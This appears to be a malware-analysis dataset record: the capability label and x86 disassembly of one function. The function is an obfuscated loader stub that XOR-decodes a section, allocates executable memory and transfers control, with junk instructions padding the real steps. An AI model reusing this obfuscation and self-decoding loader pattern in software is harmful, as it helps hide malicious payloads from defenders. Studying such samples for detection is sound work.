Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x7aedede0
mov ecx, 0xa5044ab0
mov ecx, edi
inc ecx
popal
and ecx, ecx
sub edi, ecx
sub ecx, 0x1b7ff04b
mov eax, 0
mov ebx, esi
dec edi
or ecx, ecx
and ecx, edi
mov edx, ebx
mov ecx, edi
or ecx, ecx
mov esi, edx
sub edi, ecx
not edi
inc eax
sub ecx, 1
dec ecx
mov ecx, 0xb2bc1eca
cmp eax, 0x1004ff3
jne 0xa789ca
not edi
mov edi, ecx
mov ecx, 0x130564d
dec edi
mov eax, 0xa78796
add edi, ebx
add edx, edx
mov ecx, 0xa7898a
add ebx, edx
sub edx, 0xe3a0d7f1
mov esi, dword [eax]
add edx, 0x8c842cb8
add edi, edx
and esi, 0xff
or edx, ebx
or edi, edi
mov edx, 0x532660a1
xor dword [ecx], esi
sub ebx, 0xc4c5305
or edi, edi
inc ecx
sub edi, ebx
sub edx, 1
not ebx
inc eax
mov ebx, edx
add ebx, edx
cmp ecx, entry0
jl 0xa78a16
add edi, 0xdd721a7d
mov ebx, 0xe60f0ba8
sub ebx, 0xe68b7d3
mov edi, 0xe482dd09
sub edx, 0xd0434868
add edx, edx
add edi, edx
add edx, esi
sub ebx, 0x7841bc09
mov ecx, 0xa7898e
mov ebx, edi
or edi, edx
mov ecx, dword [ecx]
and esi, edx
sub ebx, 0x309e898e
mov ecx, dword [ecx]
add edx, ebx
or esi, esi
push ecx
add esi, edx
add ebx, edi
add esi, edi
mov ecx, 0xa7898a
not ebx
sub edi, ebx
not esi
mov ecx, dword [ecx]
not edi
mov edi, ebx
and edx, edx
mov ecx, dword [ecx]
mov ebx, edx
not ebx
push 0xa78992
or edi, edi
add esi, ebx
call ecx
mov edi, ebx
mov esi, 0x999eb2c9
sub esi, 0x90242538
mov ecx, dword [esp]
add esp, 4
or esi, edi
not ebx
sub edx, ebx
push 0xa7899f
mov edi, ebx
sub ebx, 0xda9378a3
push eax
or edi, edi
mov esi, 0x44fd7fa4
call ecx
inc ebx
sub esi, edx
sub esi, 0xbb96893a
sub esp, 4
mov dword [esp], 0x40
mov ebx, 0x43afd789
mov ebx, edx
sub esp, 4
mov dword [esp], 0x3000
sub esi, ebx
add edx, edi
add ebx, 0xfba0527b
push 0x200003bd
sub edi, edx
mov edi, 0xec34bee2
add edi, 0x38e7f786
push 0
mov esi, 0xe7105269
sub edx, 0x90eeca68
call eax
mov esi, 0x6ce2ecb3
or ebx, ebx
add eax, 0x2000032e
sub ebx, 0xeaeb85fe
add edi, edi
mov ecx, 0x273cb725
sub edi, ebx
sub edx, ebx
mov dword [eax], ecx
add edi, 0xd33a1027
mov edx, 0x9a00f82e
mov ecx, dword [eax]
sub ebx, 0x458855e4
add edx, 0xd7179d34
add ebx, 0xa7435c22
cmp ecx, 0x273cb725
je 0xa78b91
mov edx, 0
mov bl, byte [edx]
and ebx, esi
sub ebx, 1
add ebx, edx
sub esi, 1
add edi, 1
mov ecx, 0x8b96c25f
mov edx, section..reltc
and ecx, ecx
add edi, edi
dec edi
mov ebx, 0xa78795
sub ecx, 0x1fe86d8e
dec ecx
dec ecx
mov eax, 0
not ecx
sub edi, 0x39b7895
and ecx, ecx
mov esi, 0xa78796
or edi, ecx
not ecx
lea esi, [eax + esi]
mov edi, ecx
sub ecx, 0xf40ac73
mov esi, dword [esi]
sub ecx, edi
or ecx, edi
inc edi
and esi, 0xff
inc edi
mov edi, 0x6d9a9732
sub edi, ecx
add eax, 1
mov ecx, 0x2aa9f82b
sub ecx, edi
mov edi, 0x1519d995
cmp eax, 0x1f4
jne 0xa78c1a
mov eax, 0
dec edi
sub edi, 0xde4bb1c6
inc edi
mov ecx, 0x47a8e5b6
mov ecx, edi
xor dword [edx], esi
add ecx, ecx
sub edi, 0xda12806
add edx, 2
mov ecx, edi
sub edi, ecx
sub ecx, 0xd49670a0
cmp edx, ebx
jl 0xa78bd2
add edi, ecx
sub ecx, edi
sub edi, 0x6cf03e93
add ecx, ecx
mov edi, ecx
mov ebx, section..reltc
not edi
or edx, edx
mov edi, 0x53e2bfc6
mov eax, section..reltc
sub edx, 0xcca25286
add edx, 0x42da4809
mov esi, 0xa78795
mov edx, 0xc2015669
or edi, edi
mov edx, edi
mov ecx, 0
inc edi
add edx, edx
mov cl, byte [eax]
inc edx
sub edi, 0xeabf9738
add edi, edx
mov byte [ebx], cl
dec edx
dec edx
add ebx, 1
mov edx, 0x86951114
sub edi, edx
add eax, 2
sub edi, 0x6dcecbc1
and edx, edx
cmp eax, esi
jle 0xa78c8e
mov edx, 0x15645e2f
sub edi, 0xf101d11
not edi
and edi, ecx
push 0x8dc6a0
add ecx, 0x9d2b07ac
mov edi, ecx
dec ecx
ret